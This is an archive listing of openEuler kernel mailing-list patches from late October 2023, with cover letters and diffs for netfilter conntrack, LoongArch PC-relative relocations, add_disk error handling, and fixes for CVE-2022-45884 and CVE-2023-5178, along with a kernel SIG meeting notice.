bugfixes for CVE-2022-45884 Dinghao Liu (1): media: dvbdev: Fix memleak in dvb_register_device Fuqian Huang (1): media: media/dvb: Use kmemdup rather than duplicating its implementation Hyunwoo Kim (1): media: dvb-core: Fix use-after-free due to race at dvb_register_device() drivers/media/dvb-core/dvbdev.c | 86 ++++++++++++++++----- drivers/media/dvb-frontends/drx39xyj/drxj.c | 5 +- include/media/dvbdev.h | 15 ++++ 3 files changed, 82 insertions(+), 24 deletions(-) -- 2.25.1

2 4

[PATCH openEuler-1.0-LTS v4 0/7] Fix netfilter conntrack
by Lu Wei 02 Nov '23

02 Nov '23

Florian Westphal (7): netfilter: conntrack: tell compiler to not inline nf_ct_resolve_clash netfilter: conntrack: remove two args from resolve_clash netfilter: conntrack: place confirm-bit setting in a helper netfilter: conntrack: split resolve_clash function netfilter: conntrack: allow insertion of clashing entries netfilter: conntrack: do not auto-delete clash entries on reply netfilter: conntrack: fix infinite loop on rmmod include/linux/rculist_nulls.h | 7 + .../linux/netfilter/nf_conntrack_common.h | 12 +- net/netfilter/nf_conntrack_core.c | 215 +++++++++++++++--- net/netfilter/nf_conntrack_proto_udp.c | 8 +- net/netfilter/nft_flow_offload.c | 2 +- 5 files changed, 206 insertions(+), 38 deletions(-) -- 2.34.1

2 8

[PATCH openEuler-1.0-LTS v2 0/4] ACPI for MPAM 2.0
by Yu Liao 01 Nov '23

01 Nov '23

v1 -> v2: modified commit log Erik Kaneda (1): ACPICA: ACPI 6.4: PPTT: add new version of subtable type 1 Hesham Almatary (1): ACPICA: Add support for Arm's MPAM ACPI table version 2 Yu Liao (2): ACPI / PPTT: Find PPTT processor node by cache id ACPI/MPAM: Adapt to Arm's MPAM ACPI table version 2 arch/arm64/kernel/mpam/mpam_device.c | 2 +- drivers/acpi/arm64/Makefile | 2 +- drivers/acpi/arm64/mpam.c | 21 +++- drivers/acpi/arm64/mpam_v2.c | 175 +++++++++++++++++++++++++++ drivers/acpi/pptt.c | 55 +++++++++ include/acpi/actbl2.h | 118 ++++++++++++++++++ include/linux/acpi.h | 5 + include/linux/arm_mpam.h | 2 +- 8 files changed, 373 insertions(+), 7 deletions(-) create mode 100644 drivers/acpi/arm64/mpam_v2.c -- 2.25.1

2 5

[PATCH openEuler-1.0-LTS v2 0/3] bugfixes for CVE-2022-45884
by liwei 01 Nov '23

01 Nov '23

bugfixes for CVE-2022-45884 Dinghao Liu (1): media: dvbdev: Fix memleak in dvb_register_device Fuqian Huang (1): media: media/dvb: Use kmemdup rather than duplicating its implementation Hyunwoo Kim (1): media: dvb-core: Fix use-after-free due to race at dvb_register_device() drivers/media/dvb-core/dvbdev.c | 86 ++++++++++++++++----- drivers/media/dvb-frontends/drx39xyj/drxj.c | 5 +- include/media/dvbdev.h | 15 ++++ 3 files changed, 82 insertions(+), 24 deletions(-) -- 2.25.1

2 4

[PATCH OLK-5.10 v2 0/7] add sample sockmap code for redis
by Liu Jian 31 Oct '23

31 Oct '23

v1->v2: Move local_skb to a reserved field instead of inserting it to a structure hole. Fix a cgroup ref leak bug. Hengqi Chen (1): libbpf: Support uniform BTF-defined key/value specification across all BPF maps Liu Jian (4): cgroup: make cgroup_bpf_prog_attach work when cgroup2 is not mounted net: let sockops can use bpf_get_current_comm() net: add local_skb parameter to identify local tcp connection tools: add sample sockmap code for redis Xu Kuohai (1): bpf, sockmap: Fix map type error in sock_map_del_link Yosry Ahmed (1): cgroup: add cgroup_v1v2_get_from_[fd/file]() include/linux/cgroup.h | 2 + include/linux/filter.h | 1 + include/linux/skbuff.h | 2 +- include/uapi/linux/bpf.h | 1 + kernel/bpf/cgroup.c | 8 +- kernel/cgroup/cgroup.c | 72 +++++++- net/core/filter.c | 9 + net/core/sock_map.c | 10 +- net/ipv4/tcp_input.c | 4 +- net/ipv4/tcp_output.c | 4 + tools/include/uapi/linux/bpf.h | 1 + tools/lib/bpf/libbpf.c | 24 +++ tools/netacc/Makefile | 24 +++ tools/netacc/bpf_sockmap.h | 167 +++++++++++++++++++ tools/netacc/net-acc | 35 ++++ tools/netacc/netacc.c | 296 +++++++++++++++++++++++++++++++++ tools/netacc/netaccsockmap.c | 176 ++++++++++++++++++++ 17 files changed, 820 insertions(+), 16 deletions(-) create mode 100644 tools/netacc/Makefile create mode 100644 tools/netacc/bpf_sockmap.h create mode 100755 tools/netacc/net-acc create mode 100644 tools/netacc/netacc.c create mode 100644 tools/netacc/netaccsockmap.c -- 2.34.1

2 8

[PATCH openEuler-1.0-LTS v3 0/7] Fix netfilter conntrack
by Lu Wei 31 Oct '23

31 Oct '23

Florian Westphal (7): netfilter: conntrack: tell compiler to not inline nf_ct_resolve_clash netfilter: conntrack: remove two args from resolve_clash netfilter: conntrack: place confirm-bit setting in a helper netfilter: conntrack: split resolve_clash function netfilter: conntrack: allow insertion of clashing entries netfilter: conntrack: do not auto-delete clash entries on reply netfilter: conntrack: fix infinite loop on rmmod include/linux/rculist_nulls.h | 7 + .../linux/netfilter/nf_conntrack_common.h | 12 +- net/netfilter/nf_conntrack_core.c | 215 +++++++++++++++--- net/netfilter/nf_conntrack_proto_udp.c | 7 +- net/netfilter/nft_flow_offload.c | 2 +- 5 files changed, 205 insertions(+), 38 deletions(-) -- V3: modify commit message 2.34.1

2 8

[PATCH OLK-5.10 0/3] LoongArch: add 32/64 pc relative relocation type support
by Hongchen Zhang 31 Oct '23

31 Oct '23

Hongchen Zhang (3): LoongArch: Define relocation types for ABI v2.10 LoongArch: Add support for 32_PCREL relocation type LoongArch: Add support for 64_PCREL relocation type arch/loongarch/include/asm/elf.h | 9 +++++++++ arch/loongarch/kernel/module.c | 22 +++++++++++++++++++++- 2 files changed, 30 insertions(+), 1 deletion(-) -- 2.33.0

2 4

[PATCH OLK-5.10 1/3] LoongArch: Define relocation types for ABI v2.10
by Hongchen Zhang 31 Oct '23

31 Oct '23

LoongArch inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8C3BV ------------------------------------------ The relocation types from 101 to 109 are used by GNU binutils >= 2.41, add their definitions to use them in later patches. Link: https://sourceware.org/git/?p=binutils-gdb.git;a=blob;f=include/elf/loongar… Cc: <stable(a)vger.kernel.org> Signed-off-by: Tiezhu Yang <yangtiezhu(a)loongson.cn> Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/include/asm/elf.h | 9 +++++++++ arch/loongarch/kernel/module.c | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/arch/loongarch/include/asm/elf.h b/arch/loongarch/include/asm/elf.h index 7af0cebf28d7..b9a4ab54285c 100644 --- a/arch/loongarch/include/asm/elf.h +++ b/arch/loongarch/include/asm/elf.h @@ -111,6 +111,15 @@ #define R_LARCH_TLS_GD_HI20 98 #define R_LARCH_32_PCREL 99 #define R_LARCH_RELAX 100 +#define R_LARCH_DELETE 101 +#define R_LARCH_ALIGN 102 +#define R_LARCH_PCREL20_S2 103 +#define R_LARCH_CFA 104 +#define R_LARCH_ADD6 105 +#define R_LARCH_SUB6 106 +#define R_LARCH_ADD_ULEB128 107 +#define R_LARCH_SUB_ULEB128 108 +#define R_LARCH_64_PCREL 109 #ifndef ELF_ARCH diff --git a/arch/loongarch/kernel/module.c b/arch/loongarch/kernel/module.c index 8127df5dd0ad..0b8ce1e0f83b 100644 --- a/arch/loongarch/kernel/module.c +++ b/arch/loongarch/kernel/module.c @@ -387,7 +387,7 @@ typedef int (*reloc_rela_handler)(struct module *mod, u32 *location, Elf_Addr v, /* The handlers for known reloc types */ static reloc_rela_handler reloc_rela_handlers[] = { - [R_LARCH_NONE ... R_LARCH_RELAX] = apply_r_larch_error, + [R_LARCH_NONE ... R_LARCH_64_PCREL] = apply_r_larch_error, [R_LARCH_NONE] = apply_r_larch_none, [R_LARCH_32] = apply_r_larch_32, -- 2.33.0

2 2

[PATCH OLK-5.10 3/3] LoongArch: Add support for 64_PCREL relocation type
by Hongchen Zhang 31 Oct '23

31 Oct '23

LoongArch inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8C3BV ------------------------------------------ When build and update kernel with the latest upstream binutils and loongson3_defconfig, module loader fails with: kmod: zsmalloc: Unknown relocation type 109 kmod: fuse: Unknown relocation type 109 kmod: fuse: Unknown relocation type 109 kmod: radeon: Unknown relocation type 109 kmod: nf_tables: Unknown relocation type 109 kmod: nf_tables: Unknown relocation type 109 This is because the latest upstream binutils replaces a pair of ADD64 and SUB64 with 64_PCREL, so add support for 64_PCREL relocation type. Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=ecb802d02eeb Cc: <stable(a)vger.kernel.org> Signed-off-by: Tiezhu Yang <yangtiezhu(a)loongson.cn> Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/kernel/module.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/arch/loongarch/kernel/module.c b/arch/loongarch/kernel/module.c index a67f9def7927..b4cf3383a8bc 100644 --- a/arch/loongarch/kernel/module.c +++ b/arch/loongarch/kernel/module.c @@ -381,6 +381,15 @@ static int apply_r_larch_32_pcrel(struct module *mod, u32 *location, Elf_Addr v, return 0; } +static int apply_r_larch_64_pcrel(struct module *mod, u32 *location, Elf_Addr v, + s64 *rela_stack, size_t *rela_stack_top, unsigned int type) +{ + ptrdiff_t offset = (void *)v - (void *)location; + + *(u64 *)location = offset; + return 0; +} + /* * reloc_handlers_rela() - Apply a particular relocation to a module * @mod: the module to apply the reloc to @@ -414,6 +423,7 @@ static reloc_rela_handler reloc_rela_handlers[] = { [R_LARCH_PCALA_HI20...R_LARCH_PCALA64_HI12] = apply_r_larch_pcala, [R_LARCH_GOT_PC_HI20...R_LARCH_GOT_PC_LO12] = apply_r_larch_got_pc, [R_LARCH_32_PCREL] = apply_r_larch_32_pcrel, + [R_LARCH_64_PCREL] = apply_r_larch_64_pcrel, }; int apply_relocate_add(Elf_Shdr *sechdrs, const char *strtab, -- 2.33.0

1 0

[PATCH OLK-5.10 2/3] LoongArch: Add support for 32_PCREL relocation type
by Hongchen Zhang 31 Oct '23

31 Oct '23

LoongArch inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8C3BV ------------------------------------------ When build and update kernel with the latest upstream binutils and loongson3_defconfig, module loader fails with: kmod: zsmalloc: Unsupport relocation type 99, please add its support. kmod: fuse: Unsupport relocation type 99, please add its support. kmod: ipmi_msghandler: Unsupport relocation type 99, please add its support. kmod: ipmi_msghandler: Unsupport relocation type 99, please add its support. kmod: pstore: Unsupport relocation type 99, please add its support. kmod: drm_display_helper: Unsupport relocation type 99, please add its support. kmod: drm_display_helper: Unsupport relocation type 99, please add its support. kmod: drm_display_helper: Unsupport relocation type 99, please add its support. kmod: fuse: Unsupport relocation type 99, please add its support. kmod: fat: Unsupport relocation type 99, please add its support. This is because the latest upstream binutils replaces a pair of ADD32 and SUB32 with 32_PCREL, so add support for 32_PCREL relocation type. Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=ecb802d02eeb Cc: <stable(a)vger.kernel.org> Co-developed-by: Youling Tang <tangyouling(a)loongson.cn> Signed-off-by: Youling Tang <tangyouling(a)loongson.cn> Signed-off-by: Tiezhu Yang <yangtiezhu(a)loongson.cn> Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/kernel/module.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/arch/loongarch/kernel/module.c b/arch/loongarch/kernel/module.c index 0b8ce1e0f83b..a67f9def7927 100644 --- a/arch/loongarch/kernel/module.c +++ b/arch/loongarch/kernel/module.c @@ -372,6 +372,15 @@ static int apply_r_larch_got_pc(struct module *mod, u32 *location, Elf_Addr v, return apply_r_larch_pcala(mod, location, got, rela_stack, rela_stack_top, type); } +static int apply_r_larch_32_pcrel(struct module *mod, u32 *location, Elf_Addr v, + s64 *rela_stack, size_t *rela_stack_top, unsigned int type) +{ + ptrdiff_t offset = (void *)v - (void *)location; + + *(u32 *)location = offset; + return 0; +} + /* * reloc_handlers_rela() - Apply a particular relocation to a module * @mod: the module to apply the reloc to @@ -404,6 +413,7 @@ static reloc_rela_handler reloc_rela_handlers[] = { [R_LARCH_B26] = apply_r_larch_b26, [R_LARCH_PCALA_HI20...R_LARCH_PCALA64_HI12] = apply_r_larch_pcala, [R_LARCH_GOT_PC_HI20...R_LARCH_GOT_PC_LO12] = apply_r_larch_got_pc, + [R_LARCH_32_PCREL] = apply_r_larch_32_pcrel, }; int apply_relocate_add(Elf_Shdr *sechdrs, const char *strtab, -- 2.33.0

1 0

[PATCH OLK-5.10] nvmet-tcp: Fix a possible UAF in queue intialization setup
by Li Lingfeng 31 Oct '23

31 Oct '23

From: Sagi Grimberg <sagi(a)grimberg.me> mainline inclusion from mainline-v6.6-rc7 commit d920abd1e7c4884f9ecd0749d1921b7ab19ddfbd category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I88DLS CVE: CVE-2023-5178 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… ------------------------------------------------- From Alon: "Due to a logical bug in the NVMe-oF/TCP subsystem in the Linux kernel, a malicious user can cause a UAF and a double free, which may lead to RCE (may also lead to an LPE in case the attacker already has local privileges)." Hence, when a queue initialization fails after the ahash requests are allocated, it is guaranteed that the queue removal async work will be called, hence leave the deallocation to the queue removal. Also, be extra careful not to continue processing the socket, so set queue rcv_state to NVMET_TCP_RECV_ERR upon a socket error. Cc: stable(a)vger.kernel.org Reported-by: Alon Zahavi <zahavi.alon(a)gmail.com> Tested-by: Alon Zahavi <zahavi.alon(a)gmail.com> Signed-off-by: Sagi Grimberg <sagi(a)grimberg.me> Reviewed-by: Christoph Hellwig <hch(a)lst.de> Reviewed-by: Chaitanya Kulkarni <kch(a)nvidia.com> Signed-off-by: Keith Busch <kbusch(a)kernel.org> Signed-off-by: Li Lingfeng <lilingfeng3(a)huawei.com> --- drivers/nvme/target/tcp.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/drivers/nvme/target/tcp.c b/drivers/nvme/target/tcp.c index 2ddbd4f4f628..7ce22d173fc7 100644 --- a/drivers/nvme/target/tcp.c +++ b/drivers/nvme/target/tcp.c @@ -336,6 +336,7 @@ static void nvmet_tcp_fatal_error(struct nvmet_tcp_queue *queue) static void nvmet_tcp_socket_error(struct nvmet_tcp_queue *queue, int status) { + queue->rcv_state = NVMET_TCP_RECV_ERR; if (status == -EPIPE || status == -ECONNRESET) kernel_sock_shutdown(queue->sock, SHUT_RDWR); else @@ -882,15 +883,11 @@ static int nvmet_tcp_handle_icreq(struct nvmet_tcp_queue *queue) iov.iov_len = sizeof(*icresp); ret = kernel_sendmsg(queue->sock, &msg, &iov, 1, iov.iov_len); if (ret < 0) - goto free_crypto; + return ret; /* queue removal will cleanup */ queue->state = NVMET_TCP_Q_LIVE; nvmet_prepare_receive_pdu(queue); return 0; -free_crypto: - if (queue->hdr_digest || queue->data_digest) - nvmet_tcp_free_crypto(queue); - return ret; } static void nvmet_tcp_handle_req_failure(struct nvmet_tcp_queue *queue, -- 2.31.1

2 1

[PATCH OLK-5.10] integrity: Fix possible multiple allocation in integrity_inode_get()
by felix 31 Oct '23

31 Oct '23

From: Tianjia Zhang <tianjia.zhang(a)linux.alibaba.com> mainline inclusion from mainline-v6.5-rc1 commit 9df6a4870dc371136e90330cfbbc51464ee66993 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8C2DB CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- When integrity_inode_get() is querying and inserting the cache, there is a conditional race in the concurrent environment. The race condition is the result of not properly implementing "double-checked locking". In this case, it first checks to see if the iint cache record exists before taking the lock, but doesn't check again after taking the integrity_iint_lock. Fixes: bf2276d10ce5 ("ima: allocating iint improvements") Signed-off-by: Tianjia Zhang <tianjia.zhang(a)linux.alibaba.com> Cc: Dmitry Kasatkin <dmitry.kasatkin(a)gmail.com> Cc: <stable(a)vger.kernel.org> # v3.10+ Signed-off-by: Mimi Zohar <zohar(a)linux.ibm.com> Signed-off-by: Felix Fu <fuzhen5(a)huawei.com> --- security/integrity/iint.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/security/integrity/iint.c b/security/integrity/iint.c index 1668cfbeb671..2428037d9e14 100644 --- a/security/integrity/iint.c +++ b/security/integrity/iint.c @@ -43,12 +43,10 @@ static struct integrity_iint_cache *__integrity_iint_find(struct inode *inode) else if (inode > iint->inode) n = n->rb_right; else - break; + return iint; } - if (!n) - return NULL; - return iint; + return NULL; } /* @@ -111,10 +109,15 @@ struct integrity_iint_cache *integrity_inode_get(struct inode *inode) parent = *p; test_iint = rb_entry(parent, struct integrity_iint_cache, rb_node); - if (inode < test_iint->inode) + if (inode < test_iint->inode) { p = &(*p)->rb_left; - else + } else if (inode > test_iint->inode) { p = &(*p)->rb_right; + } else { + write_unlock(&integrity_iint_lock); + kmem_cache_free(iint_cache, iint); + return test_iint; + } } iint->inode = inode; -- 2.34.1

2 1

[PATCH OLK-5.10 0/3] LoongArch: add 32/64 pc relative relocation type support
by Hongchen Zhang 31 Oct '23

31 Oct '23

Hongchen Zhang (3): LoongArch: Define relocation types for ABI v2.10 LoongArch: Add support for 32_PCREL relocation type LoongArch: Add support for 64_PCREL relocation type arch/loongarch/include/asm/elf.h | 9 +++++++++ arch/loongarch/kernel/module.c | 22 +++++++++++++++++++++- 2 files changed, 30 insertions(+), 1 deletion(-) -- 2.33.0

2 4

[PATCH openEuler-1.0-LTS v2 0/7] Fix netfilter nf_conntrack
by Lu Wei 31 Oct '23

31 Oct '23

Florian Westphal (6): netfilter: conntrack: tell compiler to not inline nf_ct_resolve_clash netfilter: conntrack: remove two args from resolve_clash netfilter: conntrack: place confirm-bit setting in a helper netfilter: conntrack: split resolve_clash function netfilter: conntrack: allow insertion of clashing entries netfilter: conntrack: do not auto-delete clash entries on reply Zhihao Cheng (1): ubi: Refuse attaching if mtd's erasesize is 0 -- V2: add a new bugfix patch 2.34.1

2 8

[PATCH OLK-5.10 0/4] fix memcgv1 oom meminfo bug
by Lu Jialin 31 Oct '23

31 Oct '23

Sergey Senozhatsky (1): seq_buf: Add seq_buf_do_printk() helper Steven Rostedt (VMware) (1): seq_buf: Add seq_buf_terminate() API Yosry Ahmed (2): memcg: use seq_buf_do_printk() with mem_cgroup_print_oom_meminfo() memcg: dump memory.stat during cgroup OOM for v1 include/linux/seq_buf.h | 27 +++++++++++++ lib/seq_buf.c | 32 +++++++++++++++ mm/memcontrol.c | 87 +++++++++++++++++++++++------------------ 3 files changed, 108 insertions(+), 38 deletions(-) -- 2.34.1

2 5

openEuler 测试讨论
by openEuler conference 31 Oct '23

31 Oct '23

您好！ Kernel SIG 邀请您参加 2023-10-31 15:30 召开的WeLink会议会议主题：openEuler 测试讨论会议链接：https://bmeeting.huaweicloud.com:36443/#/j/980828033 会议纪要：https://etherpad.openeuler.org/p/Kernel-meetings 温馨提醒：建议接入会议后修改参会人的姓名，也可以使用您在gitee.com的ID 更多资讯尽在：https://openeuler.org/zh/ Hello! openEuler Kernel SIG invites you to attend the WeLink conference will be held at 2023-10-31 15:30, The subject of the conference is openEuler 测试讨论, You can join the meeting at https://bmeeting.huaweicloud.com:36443/#/j/980828033. Add topics at https://etherpad.openeuler.org/p/Kernel-meetings. Note: You are advised to change the participant name after joining the conference or use your ID at gitee.com. More information: https://openeuler.org/en/

1 0

[PATCH OLK-5.10 v2 00/38] Add error handling for device_add_disk
by Zhong Jinghua 31 Oct '23

31 Oct '23

Befor these paths, block is not know when drvier is add fail. Now, add error handling for drivers. Christoph Hellwig (14): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Luis Chamberlain (11): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sd: Add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Tetsuo Handa (1): block: check minor range in device_add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Yu Kuai (1): block: fix memory leak for elevator on add_disk failure Zhong Jinghua (9): block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path scsi: sd: Clean up sdkp if device_add_disk() failed mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup block/blk-integrity.c | 12 +- block/blk-mq.c | 19 +++ block/blk.h | 5 +- block/genhd.c | 286 ++++++++++++++++++++++++++------------- drivers/block/brd.c | 103 ++++++-------- drivers/block/loop.c | 26 ++-- drivers/block/nbd.c | 59 ++++---- drivers/mtd/ubi/block.c | 76 +++++------ drivers/nvme/host/core.c | 41 +++--- drivers/scsi/sd.c | 8 +- drivers/scsi/sr.c | 7 +- include/linux/blk-mq.h | 12 ++ include/linux/genhd.h | 36 +++++ 13 files changed, 417 insertions(+), 273 deletions(-) -- 2.31.1

2 39

[PATCH OLK-5.10 1/3] LoongArch: Define relocation types for ABI v2.10
by Hongchen Zhang 31 Oct '23

31 Oct '23

The relocation types from 101 to 109 are used by GNU binutils >= 2.41, add their definitions to use them in later patches. Link: https://sourceware.org/git/?p=binutils-gdb.git;a=blob;f=include/elf/loongar… Cc: <stable(a)vger.kernel.org> Signed-off-by: Tiezhu Yang <yangtiezhu(a)loongson.cn> Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/include/asm/elf.h | 9 +++++++++ arch/loongarch/kernel/module.c | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/arch/loongarch/include/asm/elf.h b/arch/loongarch/include/asm/elf.h index 7af0cebf28d7..b9a4ab54285c 100644 --- a/arch/loongarch/include/asm/elf.h +++ b/arch/loongarch/include/asm/elf.h @@ -111,6 +111,15 @@ #define R_LARCH_TLS_GD_HI20 98 #define R_LARCH_32_PCREL 99 #define R_LARCH_RELAX 100 +#define R_LARCH_DELETE 101 +#define R_LARCH_ALIGN 102 +#define R_LARCH_PCREL20_S2 103 +#define R_LARCH_CFA 104 +#define R_LARCH_ADD6 105 +#define R_LARCH_SUB6 106 +#define R_LARCH_ADD_ULEB128 107 +#define R_LARCH_SUB_ULEB128 108 +#define R_LARCH_64_PCREL 109 #ifndef ELF_ARCH diff --git a/arch/loongarch/kernel/module.c b/arch/loongarch/kernel/module.c index 8127df5dd0ad..0b8ce1e0f83b 100644 --- a/arch/loongarch/kernel/module.c +++ b/arch/loongarch/kernel/module.c @@ -387,7 +387,7 @@ typedef int (*reloc_rela_handler)(struct module *mod, u32 *location, Elf_Addr v, /* The handlers for known reloc types */ static reloc_rela_handler reloc_rela_handlers[] = { - [R_LARCH_NONE ... R_LARCH_RELAX] = apply_r_larch_error, + [R_LARCH_NONE ... R_LARCH_64_PCREL] = apply_r_larch_error, [R_LARCH_NONE] = apply_r_larch_none, [R_LARCH_32] = apply_r_larch_32, -- 2.33.0

2 1

[PATCH OLK-5.10 3/3] LoongArch: Add support for 64_PCREL relocation type
by Hongchen Zhang 31 Oct '23

31 Oct '23

When build and update kernel with the latest upstream binutils and loongson3_defconfig, module loader fails with: kmod: zsmalloc: Unknown relocation type 109 kmod: fuse: Unknown relocation type 109 kmod: fuse: Unknown relocation type 109 kmod: radeon: Unknown relocation type 109 kmod: nf_tables: Unknown relocation type 109 kmod: nf_tables: Unknown relocation type 109 This is because the latest upstream binutils replaces a pair of ADD64 and SUB64 with 64_PCREL, so add support for 64_PCREL relocation type. Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=ecb802d02eeb Cc: <stable(a)vger.kernel.org> Signed-off-by: Tiezhu Yang <yangtiezhu(a)loongson.cn> Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/kernel/module.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/arch/loongarch/kernel/module.c b/arch/loongarch/kernel/module.c index a67f9def7927..b4cf3383a8bc 100644 --- a/arch/loongarch/kernel/module.c +++ b/arch/loongarch/kernel/module.c @@ -381,6 +381,15 @@ static int apply_r_larch_32_pcrel(struct module *mod, u32 *location, Elf_Addr v, return 0; } +static int apply_r_larch_64_pcrel(struct module *mod, u32 *location, Elf_Addr v, + s64 *rela_stack, size_t *rela_stack_top, unsigned int type) +{ + ptrdiff_t offset = (void *)v - (void *)location; + + *(u64 *)location = offset; + return 0; +} + /* * reloc_handlers_rela() - Apply a particular relocation to a module * @mod: the module to apply the reloc to @@ -414,6 +423,7 @@ static reloc_rela_handler reloc_rela_handlers[] = { [R_LARCH_PCALA_HI20...R_LARCH_PCALA64_HI12] = apply_r_larch_pcala, [R_LARCH_GOT_PC_HI20...R_LARCH_GOT_PC_LO12] = apply_r_larch_got_pc, [R_LARCH_32_PCREL] = apply_r_larch_32_pcrel, + [R_LARCH_64_PCREL] = apply_r_larch_64_pcrel, }; int apply_relocate_add(Elf_Shdr *sechdrs, const char *strtab, -- 2.33.0

1 0

[PATCH OLK-5.10 2/3] LoongArch: Add support for 32_PCREL relocation type
by Hongchen Zhang 31 Oct '23

31 Oct '23

When build and update kernel with the latest upstream binutils and loongson3_defconfig, module loader fails with: kmod: zsmalloc: Unsupport relocation type 99, please add its support. kmod: fuse: Unsupport relocation type 99, please add its support. kmod: ipmi_msghandler: Unsupport relocation type 99, please add its support. kmod: ipmi_msghandler: Unsupport relocation type 99, please add its support. kmod: pstore: Unsupport relocation type 99, please add its support. kmod: drm_display_helper: Unsupport relocation type 99, please add its support. kmod: drm_display_helper: Unsupport relocation type 99, please add its support. kmod: drm_display_helper: Unsupport relocation type 99, please add its support. kmod: fuse: Unsupport relocation type 99, please add its support. kmod: fat: Unsupport relocation type 99, please add its support. This is because the latest upstream binutils replaces a pair of ADD32 and SUB32 with 32_PCREL, so add support for 32_PCREL relocation type. Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=ecb802d02eeb Cc: <stable(a)vger.kernel.org> Co-developed-by: Youling Tang <tangyouling(a)loongson.cn> Signed-off-by: Youling Tang <tangyouling(a)loongson.cn> Signed-off-by: Tiezhu Yang <yangtiezhu(a)loongson.cn> Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn> Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/kernel/module.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/arch/loongarch/kernel/module.c b/arch/loongarch/kernel/module.c index 0b8ce1e0f83b..a67f9def7927 100644 --- a/arch/loongarch/kernel/module.c +++ b/arch/loongarch/kernel/module.c @@ -372,6 +372,15 @@ static int apply_r_larch_got_pc(struct module *mod, u32 *location, Elf_Addr v, return apply_r_larch_pcala(mod, location, got, rela_stack, rela_stack_top, type); } +static int apply_r_larch_32_pcrel(struct module *mod, u32 *location, Elf_Addr v, + s64 *rela_stack, size_t *rela_stack_top, unsigned int type) +{ + ptrdiff_t offset = (void *)v - (void *)location; + + *(u32 *)location = offset; + return 0; +} + /* * reloc_handlers_rela() - Apply a particular relocation to a module * @mod: the module to apply the reloc to @@ -404,6 +413,7 @@ static reloc_rela_handler reloc_rela_handlers[] = { [R_LARCH_B26] = apply_r_larch_b26, [R_LARCH_PCALA_HI20...R_LARCH_PCALA64_HI12] = apply_r_larch_pcala, [R_LARCH_GOT_PC_HI20...R_LARCH_GOT_PC_LO12] = apply_r_larch_got_pc, + [R_LARCH_32_PCREL] = apply_r_larch_32_pcrel, }; int apply_relocate_add(Elf_Shdr *sechdrs, const char *strtab, -- 2.33.0

1 0

[PATCH OLK-5.10] io_uring/fdinfo: lock SQ thread while retrieving thread cpu/pid
by Baokun Li 30 Oct '23

30 Oct '23

